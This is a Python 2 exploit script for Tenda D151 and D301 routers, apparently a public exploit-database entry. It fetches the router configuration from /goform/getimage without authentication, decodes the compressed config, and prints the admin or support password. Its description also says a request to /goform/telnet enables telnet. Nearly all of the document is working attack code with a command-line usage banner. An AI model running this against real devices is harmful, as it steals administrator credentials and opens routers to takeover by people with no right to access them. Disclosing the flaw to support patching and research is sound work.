# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated)
# Date: 19-04-2021
# Exploit Author: BenChaliah
# Author link: https://github.com/BenChaliah
# Vendor Homepage: https://www.tendacn.com
# Software Link: https://www.tendacn.com/us/download/detail-3331.html
# Versions:    
#   - D301 1.2.11.2_EN
#   - D301 V2.0 50.22.1.8_EN
#   - D151 V2.0 50.21.1.5_EN


# --- Description --- #

# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.

# --- Proof of concept --- #


import struct
import itertools
import random, sys
import requests
import base64



FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z"
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}

CLEAR_CODE = 256
END_OF_CODE = CLEAR_CODE + 1

MIN_WIDTH = 8
DEFAULT_MIN_BITS = MIN_WIDTH + 1
DEFAULT_MAX_BITS = 12




def cmsDecoder(compressed_cfg):
    _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
    _cp_dict[CLEAR_CODE] = CLEAR_CODE
    _cp_dict[END_OF_CODE] = END_OF_CODE
    prefix, offset, ignore = None, 0, 0
    codepoints_arr, remainder, bits = [], [], []

    init_csize = len(_cp_dict)

    codesize = init_csize
    minwidth = MIN_WIDTH
    while (1 << minwidth) < codesize:
        minwidth = minwidth + 1
    pointwidth = minwidth

    buts_arr = []
    for b in compressed_cfg:
        value = struct.unpack("B", b)[0]
        for bitplusone in range(8, 0, -1):
            bitindex = bitplusone - 1
            buts_arr.append(1 & (value >> bitindex))

    for nextbit in buts_arr:
        offset = (offset + 1) % 8
        if ignore > 0:
            ignore = ignore - 1
            continue
        bits.append(nextbit)
        if len(bits) == pointwidth:
            cp_int = 0
            lsb_first = [b for b in bits]
            lsb_first.reverse()
            for bit_index in range(len(lsb_first)):
                if lsb_first[bit_index]:
                    cp_int = cp_int | (1 << bit_index)

            bits = []
            codepoints_arr.append(cp_int)
            codesize = codesize + 1
            if cp_int in [CLEAR_CODE, END_OF_CODE]:
                codesize = init_csize
                pointwidth = minwidth
            else:
                while codesize >= (2 ** pointwidth):
                    pointwidth = pointwidth + 1
            if cp_int == END_OF_CODE:
                ignore = (8 - offset) % 8


    decodedBytes = []
    for cp_int in codepoints_arr:

        suffix = ""
        if cp_int == CLEAR_CODE:
            _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
            _cp_dict[CLEAR_CODE] = CLEAR_CODE
            _cp_dict[END_OF_CODE] = END_OF_CODE
            prefix = None

        elif cp_int != END_OF_CODE:
            if cp_int in _cp_dict:
                suffix = _cp_dict[cp_int]
                if None != prefix:
                    _cp_dict[len(_cp_dict)] = prefix + suffix[0]
            else:
                suffix = prefix + prefix[0]
                _cp_dict[len(_cp_dict)] = suffix
            prefix = suffix
        decoded = suffix
        for char in decoded:
            decodedBytes.append(char)
    return decodedBytes






def exploit(ip):
    print "[!] Downloading config"
    try:
        r = requests.get("http://{}/goform/getimage".format(ip))
        pass
    except:
        print "[-] Failed to download the config, the target may not be vulnerable"

    BIN_CONTENT = r.content
    BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]

    CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT))

    USER_, PASS_ = "", ""
    for i in ADMIN_LOG_CFG.keys():
        if i in CONFIG_XML:
            CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]
            PASS_ = CONFIG_XML[:CONFIG_XML.index('</')]
            USER_ = ADMIN_LOG_CFG[i]
            print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00'))
            return 0
    print "[-] Failed to decode the config file\n"
    return -1



if len(sys.argv) == 1:
    print "usage: python2 " + sys.argv[0] + " router_ip"
    print "example: python2 exploit.py http://192.168.1.1"
    exit()



if __name__ == "__main__":

    print """\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -- By BenCh@li@h
|   D _]/\ \  -- BenChaliah@github
 \___/ / /\ \\
      (_ )( _)
          
"""

    try:
        exploit(sys.argv[1])
    except Exception as e:
        print str(e)